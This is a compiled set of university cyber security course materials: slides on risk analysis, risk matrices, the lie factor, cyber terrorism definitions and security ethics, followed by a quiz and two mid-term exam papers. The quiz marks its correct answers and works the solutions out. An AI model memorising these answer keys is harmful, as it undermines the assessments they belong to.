Unauthorized use of computing facilities $10,000 @ 40% likelihood per year	4,000
Expected annual loss (2,000 + 4,000)	6,000
Effectiveness of network control: 100%	−6,000
Control cost:	
Hardware (50,000 amortized over 5 years)	+10,000
Software (20,000 amortized over 5 years)	+4,000
Support personnel (each year)	+40,000
Annual cost	54,000
Expected annual loss (6,000 − 6,000 + 54,000)	$54,000
Savings (6,000 − 54,000)	−$48,000

Project Costs and Savings

We can use a graphical depiction to contrast the economics involved in choosing among several strategies.

Risk Calculation for Regression Testing

Steps of a Risk Analysis

Reasons to Perform a Risk Analysis

- Improve awareness.
- Relate security mission to management objectives.
- Identify assets, vulnerabilities, and controls.
- Improve basis for decisions.
- Justify expenditures for security.
- Risk analysis provides a rational basis for spending for security, justifying both the things to spend on and the amounts to spend.

Constraints

- False sense of precision and confidence.
- Hard to perform.
- Immutability.
- Lack of accuracy.

Risk Matrix (RM)

- A graphical presentation of the likelihood, or probability, of an outcome and the consequence should that outcome occur.
- Consequences are often defined in monetary terms.
- RMs tend to be focused on outcomes that could result in loss, rather than gain.
- Objective of the RM : to prioritize risks and risk-mitigation actions.

Consequence Rating	1	2	3	4	5	6
Consequence Indices	Incidental	Minor	Moderate	Major	Severe	Catastrophic
Consequence Cost	<= USD 100K	USD 100–250K	USD 250K–1MM	USD 1–5MM	USD 5–20MM	> USD 20MM

Probability	P - Rating	P - Indices
> 40%	6	Likely
20% < p <= 40%	5	Occasional
10% < p <= 20%	4	Seldom
5% < p < = 10%	3	Unlikely
1% < p < = 5%	2	Remote
<= 1%	1	Rare

Risk Matrix (RM)

Probability	P - Rating	P - Indices						
> 40%	6	Likely						
20% < p <= 40%	5	Occasional				Severe Losses		
10% < p <= 20%	4	Seldom						
5% < p < = 10%	3	Unlikely					Well Control	
1% < p < = 5%	2	Remote						Blowout
<= 1%	1	Rare						
Consequence Rating			1	2	3	4	5	6
Consequence Indices			Incidental	Minor	Moderate	Major	Severe	Catastrophic
Consequence Cost			<= USD 100K	USD 100–250K	USD 250K–1MM	USD 1–5MM	USD 5–20MM	> USD 20MM

Advantages of RM

- Identifies the gravest project risks.
- Creates and presents the risk situation with minimal effort (e.g. as an Excel diagram).
- Presents the risk situation visually and comprehensively.
- Presents the risk situation simply for everyone because no prior knowledge is required to understand it.
- Assesses the efficiency of your risk measures.

A risk matrix visualizes risks together with the possible extent of damage and their likelihood of occurring.

“What’s Wrong with Risk Matrices?” by Tony Cox

- They can correctly and unambiguously compare only a small fraction of randomly selected pairs of hazards and can assign identical ratings to quantitatively different risks.
- They can mistakenly assign higher qualitative ratings to quantitatively smaller risks to the point where with risks that have negatively correlated frequencies and severities, they can lead to worse-than-random decisions.
- They can result in suboptimal resource allocation as effective allocation of resources to risk treatments cannot be based on the categories provided by risk matrices
- Categorizations of severity cannot be made objectively for uncertain consequences. Assessment of likelihood and consequence and resulting risk ratings require subjective interpretation, and different users may obtain opposite ratings of the same quantitative risks.

Some other Problems

- Don’t include any assessment of timeframes.
- Ambiguous inputs and outputs.
- Can oversimplify the complexity or volatility of a risk.
- And many more.

Consequences

	Insignificant	Negligible	Moderate	Extensive	Significant
People	Minor injury or first aid treatment	Injury requiring treatment by medical practitioner and/or lost time from workplace.	Major injury / hospitalization	Single death and/or multiple major injuries	Multiple deaths
Information	Compromise of information otherwise available in the public domain.	Minor compromise of information sensitive to internal or sub-unit interests.	Compromise of information sensitive to the organizations operations.	Compromise of information sensitive to organizational interests.	Compromise of information with significant ongoing impact.
Property	Minor damage or vandalism to asset.	Minor damage or loss of <5% of total assets	Damage or loss of <20% of total assets	Extensive damage or loss <50% of total assets	Destruction or complete loss of >50% of assets
Economic	1% of budget (organizational, division or project budget as relevant)	2-5% of annual budget	5-10 % of annual budget	> 10% of budget	> 30% of project or organizational annual budget
Reputation	Local mention only. Quickly forgotten. Freedom to operate unaffected. Self-improvement review required	Scrutiny by Executive, internal committees or internal audit to prevent escalation Short term local media concern. Some impact on local level activities	Persistent national concern. Scrutiny required by external agencies. Long term 'brand' impact.	Persistent intense national public, political and media scrutiny. Long term 'brand' impact. Major operations severely restricted.	International concern, Governmental Inquiry or sustained adverse national/international media. 'Brand' significantly affects organizational abilities.
Capability	Minor skills impact. Minimal impact on non-core operations. The impact can be dealt with by routine operations.	Some impact on organizational capability in terms of delays, systems quality but able to be dealt with at operational level	Impact on the organization resulting in reduced performance such that targets are not met. Organizations existence is not threatened, but could be subject to significant review.	Breakdown of key activities leading to reduction in performance (eg. service delays, revenue loss, client dissatisfaction , legislative breaches).	Protracted unavailability of critical skills/people. Critical failure(s) preventing core activities from being performed. Survival of the project/activity/organization is threatened.

Likelihood

	Chance	Frequency	Probability
Almost Certain	Is expected to occur in most circumstances	Has occurred 9 or 10 times in the past 10 years in this organization or circumstances are in train that will almost certainly cause it to happen	>95%
Likely	Will probably occur in most circumstances	Occurred more than 7 times over 10 years in this organization or in other similar organizations or circumstances have such that it is likely to happen in the next few years	>65%
Possible	Might occur at some time	Has occurred in this organization more than 3 times in the past 10 years or occurs regularly in similar organizations or is considered to have a reasonable likelihood of occurring in the next few years	>35%
Unlikely	Could occur at some time	Has occurred 2 or 3 times over 10 years in this organization or similar organizations	<35%
Rare	May occur only in exceptional circumstances	Has occurred or can reasonably be considered to occur only a few times in 100 years.	<5%

Damage or Loss of <20% of total assets: Moderate

		1	2	3	4	5
		Insignificant	Negligible	Moderate	Extensive	Significant
E	Almost Certain	6	7	8	9	10
D	Likely	5	6	7	8	9
C	Possible	4	5	6	7	8
B	Unlikely	3	4	5	6	7
A	Rare	2	3	4	5	6

Very Low	Managed by routine procedures
Low	Monitor and manage by routine procedures
Medium	Management responsibility must be specified
High	Senior management attention needed
Very High	Immediate action required by the executive with detailed planning, resource allocation, and regular monitoring

Lie Factor

- A value to describe the relation between the **size of effect shown in a graphic** and the **size of effect shown in the data**.
- "The representation of numbers, as physically measured on the surface of the graphic itself, should be directly proportional to the quantities represented." (Edward Tufte, "The Visual Display of Quantitative Information", 1983.)

$$\text{Lie Factor} = \frac{\text{size of effect shown in graphic}}{\text{size of effect in data}}$$

$$\text{Size of effect} = \frac{|\text{second value} - \text{first value}|}{\text{first value}}$$

- **Lie Factor should be close to 1.**

Lie Factor

size of effect in graph

$$\frac{|6-1|}{1} = 5$$

$$\frac{|15-10|}{10} = 0.5$$

size of effect in data

$$\textit{Lie Factor} = \frac{5}{0.5} = 10$$

Calculate the Lie Factor

Size of Effect in Graph $= \frac{|5.3-0.6|}{0.6} = 7.83$

Size of Effect in Data $= \frac{|27.5-18|}{18} = 0.53$

Lie Factor $= \frac{7.83}{0.53} = 14.8$

The standard required an increase in mileage from 18 to 27.5, an increase of 53%. The magnitude of increase shown in the graph is 783%, which results in a lie factor of 14.8! [Friendly, 2005]

[Tufte, 1991]

Cyber Terrorism

- A wide range of moderate definitions for cyber terrorism were proposed, especially in the period between 1997 and 2001.
- The reason for the incoherence of the definitions stems from the fact that their origin lay in quite different expert fields such as law enforcement, international studies, anti-terror, information security, and information operations.

Cyber Terrorism Definition

The premeditated, politically motivated attack against information, computer systems, computer programs, and data which result in violence against non-combatant targets by sub-national groups or clandestine agents (FBI, 1997).

The use or threat of action designed to influence the government or an international governmental organisation or to intimidate the public, or a section of the public; made for the purposes of advancing a political, religious, racial or ideological cause.
It involves or causes:
- *serious violence against a person;*
- *serious damage to a property;*
- *a threat to a person's life;*
- *a serious risk to the health and safety of the public; or*
- *serious interference with or disruption to an electronic system (UK Terrorism Act 2000).*

A criminal act perpetrated by the use of computers and telecommunications capabilities, resulting in violence, destruction and/or disruption of services, where the intended purpose is to create fear by causing confusion and uncertainty within a given population, with the goal of influencing a government or population to conform to a particular political, social or ideological agenda (FBI, 2004).

Cyber Terrorism Definition

The use, making preparations for, or threat of action designed to cause a social order change, to create a climate of fear or intimidation amongst (part of) the general public, or to influence political decision-making by the government or an international governmental organisation; made for the purposes of advancing a political, religious, racial or ideological cause; by affecting the integrity, confidentiality, and/or availability of information, information systems and networks, or by unauthorised actions affecting information and communication technology-based control of real-world physical processes; and it involves or causes:

- *violence to, suffering of, serious injuries to, or the death of (a) persons(s),*
- *serious damage to a property,*
- *a serious risk to the health and safety of the public,*
- *a serious economic loss,*
- *a serious breach of ecological safety,*
- *a serious breach of the social and political stability and cohesion of a nation.*

Emerging Threats

- Modern Living: Smart TV, Domotics.
- Health Sector: Pacemaker, insulin pumps.
- Finance: NFC
- Transport: Smart Vehicles
- Smart Meters: for gas, water, and other utilities.
- Smart Living: Smart Equipment (fridge, washing machine, etc.): platform for DDoS
- IoT

Ethical Issues in Computer Security

Disclaimer

The content is purely academical.

All contents are from the prescribed textbook.

There are no personal opinions involved.

Ethical Issues in Computer Security

- Primary purpose: To explore some of the ethical issues associated with computer security and to show how ethics functions as a control.
- An **ethic** is an objectively defined standard of right and wrong.
- Ethical standards are often idealistic principles because they focus on one objective.
- In a given situation, however, several moral objectives may be involved, so people must determine **an action that is appropriate** considering **all the objectives.**
- A set of ethical principles is called an **ethical system**.

Law and Ethics

- Why ethics in Cyber Security?
- Difficult to think of all exceptions when drafting a law concerning computer affairs. Lawmakers may not be computer professionals.
- Even when a law is well conceived and well written, its enforcement may be difficult.
- Courts are overburdened.
- Impossible or impractical to develop laws to describe and enforce all forms of behavior acceptable to society.
- Society relies on ethics or morals to prescribe generally accepted standards of proper behavior.

Differences Between the Law and Ethics

Law	Ethics
Described by formal, written documents	Described by unwritten principles
Interpreted by courts	Interpreted by each individual
Established by legislatures representing all people	Presented by philosophers, religions, professional groups
Applied to everyone	Chosen personally
Priority determined by courts if two laws conflict	Priority determined by an individual if two principles conflict
"Right" arbitrated finally by court	Not arbitrated externally
Enforced by police and courts	Enforced by intangibles such as principles and beliefs

Studying Ethics

- Ethics are personal choices about right and wrong actions in a given situation.
- Difficult choices would be easier to make if there were a set of universal ethical principles to which everyone agreed.
- But the variety of social, cultural, and religious beliefs makes the identification of such a set of universal principles impossible.

Ethics and Religion

- It is important to distinguish ethics from religion.
- **Ethics** is a set of principles or norms for justifying what is right or wrong in a given situation.
- **Religion** is based on personal notions about the creation of the world and the existence of controlling forces or beings.
- Two people with different religious backgrounds may develop the same ethical philosophy, while two exponents of the same religion might reach opposite ethical conclusions in a particular situation.
- A situation can have ethical conclusions without a particular religious framework.

Ethical Principles Are Not Universal

- Ethical values vary by society, and from person to person within a society.
- The attitudes of people may be affected by culture or background.
- An individual's standards of behavior may be influenced by past events in life.
- Major events or close contact with others can also shape one's ethical position.
- Although these aspects of ethics are quite reasonable and understandable, they lead **people to distrust ethics** because **it is not founded on basic principles all can accept.**
- Additionally, people from a scientific or technical background expect precision and universality.

Ethics Does Not Provide Answers

- **Ethical pluralism** is recognizing or admitting that more than one position may be ethically justifiable—even equally so—in a given situation.
- Pluralism is another way of noting that two people may legitimately disagree on issues of ethics.
- Scientific and technical fields cater to only one correct answer: unique, unambiguous, and unequivocal answers

Ethics Does Not Provide Answers

Some scientists reject or misunderstand ethics. Why?

- Ethics has no underlying framework, or it does not depend on fundamental truths. But the basis of science is presumed to be “truth.”
- A statement is expected to be provably true, provably false, or unproven, but a statement can never be both true and false. Ethics does not provide these clean distinctions.
- There is no higher authority of ethical truth.

Ethical Reasoning

- Study of ethics can yield two positive results.
- In situations in which we already know what is right and what is wrong, ethics should help us justify our choice.
- If we do not know the ethical action to take in a situation, ethics can help us identify the issues involved so that we can make reasoned judgments.
- There are two schools of ethical reasoning:
    - Consequence-Based Principles: based on the good that results from actions.
    - Rule-Based Principles: based on certain prima facie duties of people.

Examining a Situation for Ethical Issues

- Several steps to make and justify an ethical choice.
- Understand the situation. Learn the facts of the situation. Ask questions of interpretation or clarification. Attempt to find out whether any relevant forces have not been considered.
- Know several theories of ethical reasoning. To make an ethical choice, know how to justify it.
- List the ethical principles involved. What different philosophies could be applied in this case? Do any of these include others?
- Determine which principles outweigh others. This is a subjective evaluation. It often involves extending a principle to a logical conclusion or determining cases in which one principle clearly supersedes another.
- Make and defend an ethical choice.

Consequence-Based Principles

- **Teleology** is the general name applied to many theories of behavior which focus on the goal, outcome, or consequence of the action.
- The teleological theory of ethics focuses on the **consequences of an action**. The action to be chosen is the one that results in the greatest future good and the least harm.
- Two important forms of teleology: Egoism and Utilitarianism.
- **Egoism** is the form that says a moral judgment is based on the positive benefits to the person taking the action.
- For **utilitarianism**, the reference group is the entire universe. The utilitarian chooses that action that will bring the greatest collective good for all people with the least possible negative for all.

Rule-Based Principles

- **Deontology** states that certain things are good in and of themselves. These things that are **naturally good** are good rules or acts, which require no higher justification.
- Rule-deontology is the school of ethical reasoning that believes certain universal, self evident, natural rules specify our proper conduct.
- Certain basic moral principles are adhered to because of our responsibilities to one another; these principles are often stated as rights: the right to know, the right to privacy, the right to fair compensation for work.
- Sir David Ross lists various duties incumbent on all human beings:
    - Fidelity, Reparation, Gratitude, Justice, Beneficence, Nonmaleficence, Self-improvement.

Incident Analysis with Ethics

- How to react in incidents, keeping ethical standpoints.
- Examples.

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 10, 11.
- Akhgar B., Staniforth A. and Bosco F., Cyber Crime and Cyber Terrorism Investigator's Handbook (1e), Syngress Publishing, 2014, Chapter 2, 3.

Cyber Security Assignment 1 Quiz 1

ICT 3156

V Semester, IT

1.The act(s) that can cause security harm to the Availability property is/are _____.
(1 Point)

- ☐ Interception
- ☐ **Interruption**
- ☐ Modification
- ☐ Fabrication

2.Which of the following statements is false? (1 Point)

- ○ A person/process who is not authorized by the system accessing a data item affects confidentiality.
- ○ **Specifying what a person with authentication can access is a sufficient aspect of a security policy.**
- ○ Every password can be guessed albeit with a varying degree of difficulty.

3.A dataset has 9800 instances. A system can correctly flag 9500 instances. The total number of sought instances are 5000, of which 4745 instances are passed by the system as authentic. What is the specificity of such a system? (1 Point)

- ○ 94.9%
- ○ 98.85%
- ○ **99.06%**
- ○ 95.1%

Specificity = d/(b+d)

Given: a+b+c+d = 9800, a+d = 9500, a+c = 5000, a= 4745

b+d = 4800, d **= 4755**

(4755/4800)*100 = 99.06%

4.Of 980 instances, a system correctly identifies 500 instances as authenticated, and 400 instances as not authenticated. The system incorrectly authenticates 50 instances. Which of the following statements is not true in this system? (1 Point)

- ○ Sensitivity exceeds specificity in this system.
- ○ **Specificity exceeds sensitivity in this system.**
- ○ Sensitivity and specificity are statistically related.

Specificity = d/(b+d), Sensitivity = a/(a+c)

Given: a+b+c+d = 980, a = 500, d = 400, b = 50

b+d = 450, a+c = 530

Sensitivity = 500/530 = 94.33%, Specificity = 400/450=88.88%

MANIPAL INSTITUTE OF TECHNOLOGY
MANIPAL
A Constituent Institution of Manipal University

V SEMESTER B.TECH. IT

INTERNAL EXAMINATIONS October 2020

MID-TERM EXAMINATION

SUBJECT: Cyber Security [ICT 3156]

Date of Exam: **20/10/2020** Time of Exam: **12.00 PM - 1.45 PM** Max. Marks: 20

Instructions to Candidates:

- Answer ALL the questions & missing data, if any, may be suitable assumed.
- Write your name and registration number on each page. Signature must be there at the bottom of the page.
- Time duration: **90 minutes** for writing. The rest 15 minutes are for downloading the question paper and uploading your answer scripts in PDF format. Please do not wait till the last minute for uploading.
- Please do not waste your time by giving irrelevant (or not requested) details.

1. Briefly explain the strategies for Penetration Testing. [4M]
2. Different attacks are possible on the web. Elucidate four types of malicious web content. [4M]
3. What are the different phases involved in Ethical Hacking? What activity is carried out in these phases (Please write just one line for the activity of each phase)? [3M]
4. Biometrics are widely used for authentication. What are the several problems associated with the use of biometrics as an authentication mechanism (Mention at least 6 problems)? [3M]
5. There are four potential types of harms that affects the security properties of the CIA triad. Describe these four harms. Map these harms to the corresponding security property of the CIA triad which may be affected. [2M]
6. Separation in an operating system can occur in several ways. What are the different ways of separation? [2M]
7. Program flaws can have two kinds of security implications. Briefly explain. [2M]

Department of Information & Communication Technology
V Semester, B.Tech(IT)
Subject: Cyber Security (ICT 3156)

Date: 17-11-2021 **Time: 4PM - 5.30PM**

==========

1. What is incomplete mediation? Mention the consequences of same with an illustrative example. (4 Marks)
2. Suppose, an organization is using RSA with modulus *n* and public exponent *e*. One day they are hacked, and their private key *d* becomes known to the attackers. Bob, the security consultant, suggests that instead of regenerating the new keys completely from the scratch, only the new exponents *e', d'* need to be re-computed, leaving the modulus *n* unchanged. Is this safe or not? Explain. (4 Marks)
3. What is necessity of combining paging and segmentation for memory protection? Explain the working of the same. (3 Marks)
4. Differentiate between Access Control List and Access Control Matrix with suitable examples (3 Marks)
5. Discuss Rouge access points and Initialization Vector (IV) Attack in detail. (3 Marks)
6. Discuss various aspects of malicious code infections with illustration. (3 Marks)